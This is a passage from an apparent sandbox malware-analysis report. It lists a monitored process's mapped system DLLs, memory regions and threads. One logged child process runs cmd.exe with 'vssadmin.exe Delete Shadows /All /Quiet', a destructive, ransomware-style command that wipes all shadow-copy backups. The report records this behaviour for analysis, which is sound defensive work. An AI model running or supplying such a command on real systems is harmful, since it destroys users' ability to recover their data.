= "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 793 start_va = 0x7ffe262f0000 end_va = 0x7ffe2648cfff entry_point = 0x7ffe262f135c region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 794 start_va = 0x7ffe26490000 end_va = 0x7ffe26507fff entry_point = 0x7ffe26490000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 795 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 796 start_va = 0x7ffe26530000 end_va = 0x7ffe2654afff entry_point = 0x7ffe26530000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 797 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 798 start_va = 0x7ffe26570000 end_va = 0x7ffe26597fff entry_point = 0x7ffe26570000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 799 start_va = 0x7ffe265a0000 end_va = 0x7ffe265c3fff entry_point = 0x7ffe265a0000 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 800 start_va = 0x7ffe265d0000 end_va = 0x7ffe265d8fff entry_point = 0x7ffe265d0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 801 start_va = 0x7ffe265e0000 end_va = 0x7ffe265f0fff entry_point = 0x7ffe265e0000 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 802 start_va = 0x7ffe26600000 end_va = 0x7ffe26618fff entry_point = 0x7ffe26600000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 803 start_va = 0x7ffe26620000 end_va = 0x7ffe26766fff entry_point = 0x7ffe26620000 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 804 start_va = 0x7ffe26770000 end_va = 0x7ffe267aafff entry_point = 0x7ffe26770000 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 805 start_va = 0x7ffe267b0000 end_va = 0x7ffe267dffff entry_point = 0x7ffe267b5ca0 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 806 start_va = 0x7ffe267e0000 end_va = 0x7ffe26846fff entry_point = 0x7ffe267e0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 807 start_va = 0x7ffe269f0000 end_va = 0x7ffe26a00fff entry_point = 0x7ffe269f0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 808 start_va = 0x7ffe26a30000 end_va = 0x7ffe26b93fff entry_point = 0x7ffe26a30000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 809 start_va = 0x7ffe26bb0000 end_va = 0x7ffe26bbafff entry_point = 0x7ffe26bb0000 region_type = mapped_file name = "lldpnotify.dll" filename = "\\Windows\\System32\\LldpNotify.dll" (normalized: "c:\\windows\\system32\\lldpnotify.dll") Region: id = 810 start_va = 0x7ffe26bc0000 end_va = 0x7ffe26beefff entry_point = 0x7ffe26bc0000 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 811 start_va = 0x7ffe26bf0000 end_va = 0x7ffe26c01fff entry_point = 0x7ffe26bf0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 812 start_va = 0x7ffe26c10000 end_va = 0x7ffe26c2ffff entry_point = 0x7ffe26c10000 region_type = mapped_file name = "ndisimplatform.dll" filename = "\\Windows\\System32\\NdisImPlatform.dll" (normalized: "c:\\windows\\system32\\ndisimplatform.dll") Region: id = 813 start_va = 0x7ffe26c30000 end_va = 0x7ffe26c3afff entry_point = 0x7ffe26c30000 region_type = mapped_file name = "brdgcfg.dll" filename = "\\Windows\\System32\\brdgcfg.dll" (normalized: "c:\\windows\\system32\\brdgcfg.dll") Region: id = 814 start_va = 0x7ffe26c40000 end_va = 0x7ffe26c4ffff entry_point = 0x7ffe26c40000 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 815 start_va = 0x7ffe26c50000 end_va = 0x7ffe26c58fff entry_point = 0x7ffe26c50000 region_type = mapped_file name = "bitsprx3.dll" filename = "\\Windows\\System32\\bitsprx3.dll" (normalized: "c:\\windows\\system32\\bitsprx3.dll") Region: id = 816 start_va = 0x7ffe26c60000 end_va = 0x7ffe26c6dfff entry_point = 0x7ffe26c60000 region_type = mapped_file name = "bitsprx5.dll" filename = "\\Windows\\System32\\bitsprx5.dll" (normalized: "c:\\windows\\system32\\bitsprx5.dll") Region: id = 817 start_va = 0x7ffe26c70000 end_va = 0x7ffe26c78fff entry_point = 0x7ffe26c70000 region_type = mapped_file name = "bitsprx7.dll" filename = "\\Windows\\System32\\bitsprx7.dll" (normalized: "c:\\windows\\system32\\bitsprx7.dll") Region: id = 818 start_va = 0x7ffe26c80000 end_va = 0x7ffe26c88fff entry_point = 0x7ffe26c80000 region_type = mapped_file name = "bitsprx2.dll" filename = "\\Windows\\System32\\bitsprx2.dll" (normalized: "c:\\windows\\system32\\bitsprx2.dll") Region: id = 819 start_va = 0x7ffe26cd0000 end_va = 0x7ffe26d31fff entry_point = 0x7ffe26cd0000 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 820 start_va = 0x7ffe26d40000 end_va = 0x7ffe26d50fff entry_point = 0x7ffe26d40000 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 821 start_va = 0x7ffe26d60000 end_va = 0x7ffe26e5bfff entry_point = 0x7ffe26d60000 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 822 start_va = 0x7ffe26e60000 end_va = 0x7ffe26e97fff entry_point = 0x7ffe26e61034 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 823 start_va = 0x7ffe27380000 end_va = 0x7ffe2738ffff entry_point = 0x7ffe27380000 region_type = mapped_file name = "qmgrprxy.dll" filename = "\\Windows\\System32\\qmgrprxy.dll" (normalized: "c:\\windows\\system32\\qmgrprxy.dll") Region: id = 824 start_va = 0x7ffe27390000 end_va = 0x7ffe27399fff entry_point = 0x7ffe27390000 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 825 start_va = 0x7ffe27b30000 end_va = 0x7ffe27b3afff entry_point = 0x7ffe27b30000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 826 start_va = 0x7ffe27ef0000 end_va = 0x7ffe27f11fff entry_point = 0x7ffe27ef0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 827 start_va = 0x7ffe27f20000 end_va = 0x7ffe27f4afff entry_point = 0x7ffe27f20000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 828 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 829 start_va = 0x7ffe28ad0000 end_va = 0x7ffe28b5afff entry_point = 0x7ffe28ad0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 830 start_va = 0x7ffe28b90000 end_va = 0x7ffe28b98fff entry_point = 0x7ffe28b90000 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 831 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 832 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 833 start_va = 0x7ffe28d80000 end_va = 0x7ffe28d88fff entry_point = 0x7ffe28d80000 region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 834 start_va = 0x7ffe28d90000 end_va = 0x7ffe28d9afff entry_point = 0x7ffe28d90000 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 835 start_va = 0x7ffe28e90000 end_va = 0x7ffe28f45fff entry_point = 0x7ffe28e90000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 836 start_va = 0x7ffe290a0000 end_va = 0x7ffe290c2fff entry_point = 0x7ffe290a0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 837 start_va = 0x7ffe290d0000 end_va = 0x7ffe290dcfff entry_point = 0x7ffe290d0000 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 838 start_va = 0x7ffe290e0000 end_va = 0x7ffe290edfff entry_point = 0x7ffe290e0000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 839 start_va = 0x7ffe29130000 end_va = 0x7ffe29177fff entry_point = 0x7ffe29130000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 840 start_va = 0x7ffe292a0000 end_va = 0x7ffe2930bfff entry_point = 0x7ffe292a0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 841 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 842 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe294612f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 843 start_va = 0x7ffe29480000 end_va = 0x7ffe294bcfff entry_point = 0x7ffe29480000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 844 start_va = 0x7ffe294c0000 end_va = 0x7ffe29562fff entry_point = 0x7ffe294c0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 845 start_va = 0x7ffe296f0000 end_va = 0x7ffe29747fff entry_point = 0x7ffe296f0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 846 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 847 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 848 start_va = 0x7ffe29870000 end_va = 0x7ffe29887fff entry_point = 0x7ffe29870000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 849 start_va = 0x7ffe298c0000 end_va = 0x7ffe2990ffff entry_point = 0x7ffe298c0000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 850 start_va = 0x7ffe29920000 end_va = 0x7ffe29959fff entry_point = 0x7ffe29920000 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 851 start_va = 0x7ffe29960000 end_va = 0x7ffe29983fff entry_point = 0x7ffe29960000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 852 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 853 start_va = 0x7ffe29a90000 end_va = 0x7ffe29aacfff entry_point = 0x7ffe29a90000 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 854 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 855 start_va = 0x7ffe29c50000 end_va = 0x7ffe29c5afff entry_point = 0x7ffe29c50000 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 856 start_va = 0x7ffe29c60000 end_va = 0x7ffe29c67fff entry_point = 0x7ffe29c60000 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 857 start_va = 0x7ffe29c80000 end_va = 0x7ffe29caafff entry_point = 0x7ffe29c81490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 858 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 859 start_va = 0x7ffe29d10000 end_va = 0x7ffe29da6fff entry_point = 0x7ffe29d10000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 860 start_va = 0x7ffe29db0000 end_va = 0x7ffe29e06fff entry_point = 0x7ffe29db0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 861 start_va = 0x7ffe29e30000 end_va = 0x7ffe29e74fff entry_point = 0x7ffe29e30000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 862 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 863 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 864 start_va = 0x7ffe29f50000 end_va = 0x7ffe29f61fff entry_point = 0x7ffe29f50000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 865 start_va = 0x7ffe2a020000 end_va = 0x7ffe2a06dfff entry_point = 0x7ffe2a020000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 866 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 867 start_va = 0x7ffe2a180000 end_va = 0x7ffe2a356fff entry_point = 0x7ffe2a180000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 868 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a361258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 869 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 870 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 871 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 872 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 873 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 874 start_va = 0x7ffe2a850000 end_va = 0x7ffe2a8a9fff entry_point = 0x7ffe2a850000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 875 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 876 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 877 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 878 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 879 start_va = 0x7ffe2c120000 end_va = 0x7ffe2c1c3fff entry_point = 0x7ffe2c121170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 880 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 881 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 882 start_va = 0x7ffe2c530000 end_va = 0x7ffe2c705fff entry_point = 0x7ffe2c530000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 883 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 884 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 885 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 886 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2550 start_va = 0x7ffe25ea0000 end_va = 0x7ffe25ef0fff entry_point = 0x7ffe25ea0000 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 2551 start_va = 0xc0a65d0000 end_va = 0xc0a65dffff entry_point = 0xc0a65d0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2552 start_va = 0xc0a65e0000 end_va = 0xc0a65e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a65e0000" filename = "" Region: id = 2553 start_va = 0xc0a6600000 end_va = 0xc0a6601fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a6600000" filename = "" Region: id = 2554 start_va = 0x7ffe25e60000 end_va = 0x7ffe25e93fff entry_point = 0x7ffe25e60000 region_type = mapped_file name = "advpack.dll" filename = "\\Windows\\System32\\advpack.dll" (normalized: "c:\\windows\\system32\\advpack.dll") Thread: id = 7 os_tid = 0xaa8 Thread: id = 8 os_tid = 0xa44 Thread: id = 9 os_tid = 0x16c Thread: id = 10 os_tid = 0x958 Thread: id = 11 os_tid = 0x950 Thread: id = 12 os_tid = 0x8b4 Thread: id = 13 os_tid = 0x940 Thread: id = 14 os_tid = 0x954 Thread: id = 15 os_tid = 0x8c0 Thread: id = 16 os_tid = 0x4b8 Thread: id = 17 os_tid = 0x424 Thread: id = 18 os_tid = 0x988 Thread: id = 19 os_tid = 0x980 Thread: id = 20 os_tid = 0x97c Thread: id = 21 os_tid = 0x974 Thread: id = 22 os_tid = 0x968 Thread: id = 23 os_tid = 0x914 Thread: id = 24 os_tid = 0x81c Thread: id = 25 os_tid = 0x818 Thread: id = 26 os_tid = 0x308 Thread: id = 27 os_tid = 0x3fc Thread: id = 28 os_tid = 0x54c Thread: id = 29 os_tid = 0x4f4 Thread: id = 30 os_tid = 0x520 Thread: id = 31 os_tid = 0x5e0 Thread: id = 32 os_tid = 0x554 Thread: id = 33 os_tid = 0x24c Thread: id = 34 os_tid = 0x14c Thread: id = 35 os_tid = 0x7fc Thread: id = 36 os_tid = 0x7f8 Thread: id = 37 os_tid = 0x7e8 Thread: id = 38 os_tid = 0x7dc Thread: id = 39 os_tid = 0x7d0 Thread: id = 40 os_tid = 0x7c8 Thread: id = 41 os_tid = 0x7bc Thread: id = 42 os_tid = 0x7b8 Thread: id = 43 os_tid = 0x794 Thread: id = 44 os_tid = 0x790 Thread: id = 45 os_tid = 0x77c Thread: id = 46 os_tid = 0x778 Thread: id = 47 os_tid = 0x748 Thread: id = 48 os_tid = 0x744 Thread: id = 49 os_tid = 0x73c Thread: id = 50 os_tid = 0x738 Thread: id = 51 os_tid = 0x734 Thread: id = 52 os_tid = 0x728 Thread: id = 53 os_tid = 0x724 Thread: id = 54 os_tid = 0x714 Thread: id = 55 os_tid = 0x70c Thread: id = 56 os_tid = 0x6fc Thread: id = 57 os_tid = 0x6e8 Thread: id = 58 os_tid = 0x6d0 Thread: id = 59 os_tid = 0x6b8 Thread: id = 60 os_tid = 0x594 Thread: id = 61 os_tid = 0x524 Thread: id = 62 os_tid = 0x46c Thread: id = 63 os_tid = 0x458 Thread: id = 64 os_tid = 0x454 Thread: id = 65 os_tid = 0x44c Thread: id = 66 os_tid = 0x40c Thread: id = 67 os_tid = 0x408 Thread: id = 68 os_tid = 0x3f8 Thread: id = 69 os_tid = 0x3c0 Thread: id = 70 os_tid = 0x3b0 Thread: id = 71 os_tid = 0x394 Thread: id = 72 os_tid = 0x370 Thread: id = 73 os_tid = 0x358 Thread: id = 74 os_tid = 0x22c Thread: id = 75 os_tid = 0x13c Thread: id = 76 os_tid = 0x1a4 Thread: id = 77 os_tid = 0x3bc Thread: id = 78 os_tid = 0x3b8 Thread: id = 79 os_tid = 0x378 Thread: id = 80 os_tid = 0x374 Thread: id = 81 os_tid = 0x360 Thread: id = 82 os_tid = 0x35c Thread: id = 83 os_tid = 0x354 Thread: id = 84 os_tid = 0x334 Thread: id = 137 os_tid = 0x8bc Thread: id = 146 os_tid = 0x924 Thread: id = 147 os_tid = 0x87c Process: id = "6" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2752000" os_pid = "0x664" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xaa0" cmd_line = "C:\\Windows\\system32\\cmd.exe /C title 4180649|vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 909 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 910 start_va = 0xbd41bf0000 end_va = 0xbd41c0ffff entry_point = 0x0 region_type = private name = "private_0x000000bd41bf0000" filename = "" Region: id = 911 start_va = 0xbd41c10000 end_va = 0xbd41c1efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd41c10000" filename = "" Region: id = 912 start_va = 0xbd41c20000 end_va = 0xbd41d1ffff entry_point = 0x0 region_type = private name = "private_0x000000bd41c20000" filename = "" Region: id 